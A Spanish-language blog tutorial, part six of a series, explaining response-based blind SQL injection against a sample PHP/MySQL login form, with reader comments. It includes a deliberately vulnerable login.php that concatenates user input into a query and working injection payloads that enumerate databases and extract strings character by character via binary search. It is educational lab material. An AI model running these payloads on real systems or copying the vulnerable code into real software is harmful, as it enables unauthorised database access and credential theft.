domingo, 24 de julio de 2011

SQL Injection Web Attacks [Parte VI]

Blind SQL Injections

Hoy toca hablar de las inyecciones SQL a ciegas o "Blind SQL Injections". Se le llama así a una forma particular de vulnerabilidad SQLi cuya principal característica es que no muestra ningún campo de la consulta en la pagina web, en consecuencia, es imposible extraer información usando UNION SELECT.

Para explotar un BSQLi utilizaremos un enfoque deductivo, es decir, si bien no podemos obtener los datos directamente, si que podemos inferirlos manipulando de alguna manera el comportamiento de la aplicación web.

De acuerdo al comportamiento que manipulamos, existen dos técnicas de explotación para inyecciones a ciegas: Response Based BSQLi y Time Based BSQLi.

Response Based Blind SQL Injection

Como su nombre sugiere, esta técnica consiste en manipular la respuesta de la aplicación. Esto se consigue alterando el valor de verdad de la clausula WHERE por medio de la inyección. Básicamente identificamos dos tipos de respuesta: verdadero y falso. Cuando el resultado del WHERE es verdadero recibiremos como respuesta una página... digámosle normal. Pero cuando el resultado es falso, no se seleccionará ningún registro y recibiremos una página diferente, usualmente una página de error.

La idea entonces, para explotar la vulnerabilidad, es evaluar, mediante la inyección, una condición arbitraria y usar la página de respuesta para identificar si el resultado fue verdadero o falso. Sería como preguntar, por ejemplo, si la contraseña del administrador empieza con la letra "a" ¿sí o no? si no ¿Empieza con "b"? ¿No? Entonces... ¿Con "c"? En fin... En algún momento acertaremos y pasaremos a preguntar por la segunda letra. Y así, poco a poco, conseguiremos la contraseña del administrador.

Para entenderlo mejor pongamos un ejemplo. Imaginemos un formulario de inicio de sesión con un campo para el nombre de usuario y otro para la contraseña. Cuando enviemos el formulario, la aplicación tomará el usuario y la contraseña enviados, hará una consulta a la base de datos para verificar si las credenciales se corresponden y como resultado tendremos dos posibilidades: Si los datos son correctos, iniciamos sesión; en caso contrario, no iniciamos sesión y se nos muestra un mensaje de error.

A continuación pondré el código fuente de la aplicación del ejemplo y el script SQL para generar la tabla "usuarios". En la primera parte de esta serie se explicó como configurar todo esto, si tienes alguna duda puedes volver a revisarla o dejar un comentario.

login.htm
<html>
 <head>
  <title>Registro</title>
 </head>
 <body>
  <form action="login.php" method="post">
   <table>
    <tr>
     <th colspan="2">Inicio de Sesión</th>
    </tr>
    <tr>
     <td>Usuario</td>
     <td><input name="user" type="text"></td>
    </tr>
    <tr>
     <td>Contraseña</td>
     <td><input name="pass" type="password"></td>
    </tr>
    <tr>
     <td colspan="2" align="center"><input type="submit" value="Iniciar"></td>
    </tr>
   </table>
  </form>
 </body>
</html>

login.php
<?php
 //Recupera los datos enviados
 $user = $_POST['user'];
 $pass = $_POST['pass'];
  
 //Conecta al servidor y selecciona la base de datos
 $link = mysql_connect ("localhost", "db_user", "db_password");
 mysql_select_db("database", $link);
 
 //Forma la consulta SQL 
 $query = "SELECT * FROM usuarios WHERE user='$user' and pass='$pass'";
 
 //Envia la consulta y obtiene el resultado
 $result = mysql_query ($query, $link);
 
 //Verifica si la consulta retorno al menos un registro
 if(mysql_num_rows($result) > 0) {
  echo "<h1>Bienvenido al sistema.</h1>";
 } else {
  echo "<h1>Usuario o contraseña incorrectos.</h1>";
 }
?>

script.sql
DROP TABLE IF EXISTS `usuarios`;
CREATE TABLE `usuarios` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user` varchar(20) DEFAULT NULL,
  `pass` varchar(20) DEFAULT NULL,
  `nombre` varchar(50) DEFAULT NULL,
  PRIMARY KEY (`id`)
);
INSERT INTO `usuarios` VALUES 
  (1,'admin','123456','Administrador'),
  (2,'guest','guest','Invitado');

Ahora probaremos un par de inyecciones para ver el comportamiento de la aplicación.

Primero inyectamos un "or 1=1" para que el resultado de la clausula WHERE sea verdadero:

Fig. 1 - Resultado verdadero.

Luego probamos con un "or 1=0" y resulta que ahora el WHERE arroja falso:

Fig. 2 - Resultado falso.

Bien, este sencillo test nos ha servido para identificar la página de verdadero ("Bienvenido al sistema") y la página de falso ("Usuario o contraseña incorrectos.").

Response Based BSQLi: Explotación

Como siempre, el primer paso para extraer información de la base de datos será obtener el esquema. Para ello empezaremos averiguando cuantas bases de datos hay en el servidor. Podemos hacerlo inyectando de esta forma:

' or (select count(*) from information_schema.schemata)=1#
' or (select count(*) from information_schema.schemata)=2#
' or (select count(*) from information_schema.schemata)=3#
...

La consulta (select count(*) from information_schema.schemata) sirve para obtener el número de registros que hay en information_schema.schemata. Luego vamos preguntando si ese número es 1 ó 2 ó 3... y asi sucesivamente hasta que nos tire la página de verdadero.

Bien, el método anterior sirve para entender como funciona esto pero si lo hiciéramos así demoraríamos demasiado. Imagina que hubieran 42 bases de datos, tendríamos que hacer 42 consultas. Demasiado aburrido ¿verdad?, felizmente se puede optimizar. Seguro recordarás el método de búsqueda binaria con ORDER BY que usabamos para averiguar el número de campos que se seleccionaban en una consulta (si no revisa la tercera parte de esta serie). De igual forma podemos usar la búsqueda binaria en este caso. Veamos:

En el supuesto de que hubieran 12 bases de datos:

' or (select count(*) from information_schema.schemata)>10#  -->  (verdadero)
' or (select count(*) from information_schema.schemata)>20#  -->  (falso)
' or (select count(*) from information_schema.schemata)>15#  -->  (falso)
' or (select count(*) from information_schema.schemata)>12#  -->  (falso)
' or (select count(*) from information_schema.schemata)>11#  -->  (verdadero)

Esas 5 consultas son suficientes para saber que hay 12 bases de datos.

El siguiente paso es averiguar el nombre de las bases de datos. En realidad la técnica que se describe a continuación servirá para deducir cualquier cadena de caracteres.

Lo primero es averiguar cuantos caracteres conforman el nombre de la base de datos (o cualquier otra cadena de caracteres). También utilizamos la búsqueda binaria.

' or (select length((select schema_name from information_schema.schemata limit 0,1)))>10#  -->  (verdadero)
' or (select length((select schema_name from information_schema.schemata limit 0,1)))>20#  -->  (falso)
' or (select length((select schema_name from information_schema.schemata limit 0,1)))>15#  -->  (verdadero)
...

Observa que se utiliza LIMIT para forzar que la subconsulta devuelva un único resultado. Si devolviera más de uno botaría error.

Luego tenemos que deducir uno a uno todos los carácteres de la cadena. Para ello emplearemos la función MID que sirve para cortar cadenas. Por ejemplo:

mysql> select mid("HOLA MUNDO",1,4);
+-----------------------+
| mid("HOLA MUNDO",1,4) |
+-----------------------+
| HOLA                  |
+-----------------------+
1 row in set (0.00 sec)

mysql> select mid("HOLA MUNDO",1,1);
+-----------------------+
| mid("HOLA MUNDO",1,1) |
+-----------------------+
| H                     |
+-----------------------+
1 row in set (0.00 sec)

La idea es cortar la cadena caracter por caracter y obtener el código ASCII de cada caracter. Ese código es un valor numérico que está en el rango de 0 a 255. Así que si nuevamente usamos la búsqueda binaria podremos deducir dicho valor luego de 8 consultas. Veamos:

' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>127#  -->  (falso)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>63#  -->  (verdadero)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>95#  -->  (verdadero)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>111#  -->  (falso)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>103#  -->  (verdadero)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>107#  -->  (falso)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>105#  -->  (falso)
' or ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))>104#  -->  (verdadero)

Entonces tenemos que el código ASCII del primer caracter del nombre de la primera base de datos es 105 que corresponde con la letra "i" (de information_schema). Luego solo queda cambiar los parámetros de MID y de LIMIT para pasar al siguiente caractér o al siguiente nombre respectivamente.

De forma análoga podemos obtener el nombre de las tablas, columnas y los datos almacenados en la base de datos. Lo único que cambia es la subconsulta SELECT.

Si bien la técnica de búsqueda binaria (Binary Search) es muy efectiva y la que implementan la mayoría de herramientas de automatización, no es la única ni la mejor. Existen otras técnicas menos conocidas como Bit Shifting, Find in Set o Regexp que también podemos usar para explotar un BSQLi.

En el próximo capitulo de esta serie veremos como automatizar la explotación de un Response Based BSQLi con Sqlmap. En mi opinión la mejor tool open source para explotación de inyecciones SQL.

Un saludo.

Otros capítulos de la serie:

5 comentarios:

  1. levantado tempranito, aprovechando a leer el blog, buena explicacion del BSQLi con busqueda binaria ;)

    ResponderEliminar
  2. woooo , muy completo , leyendo....

    ResponderEliminar
  3. Estan excelentes tus tutoriales los he leido todos en 2 dias, espero con muchas ancias el otro sobre como usar el sqlmap puesto que todo lo que he encontrado esta en ingles y tu lo explicas rebien porfa no lo tardes mucho o por lo menos dame algunos links sobre el tema donde este bien explicado eso.

    ResponderEliminar
  4. Hola, gracias por los comentarios... en verdad me animan a seguir posteando.

    Por ahora estoy de viaje... tomando unas vacaciones xD Pero haré lo posible para terminar el post sobre Sqlmap ;)

    Un saludo.

    ResponderEliminar
  5. Gracias man estare chekando el blog constantemente pa ver si ya esta.

    ResponderEliminar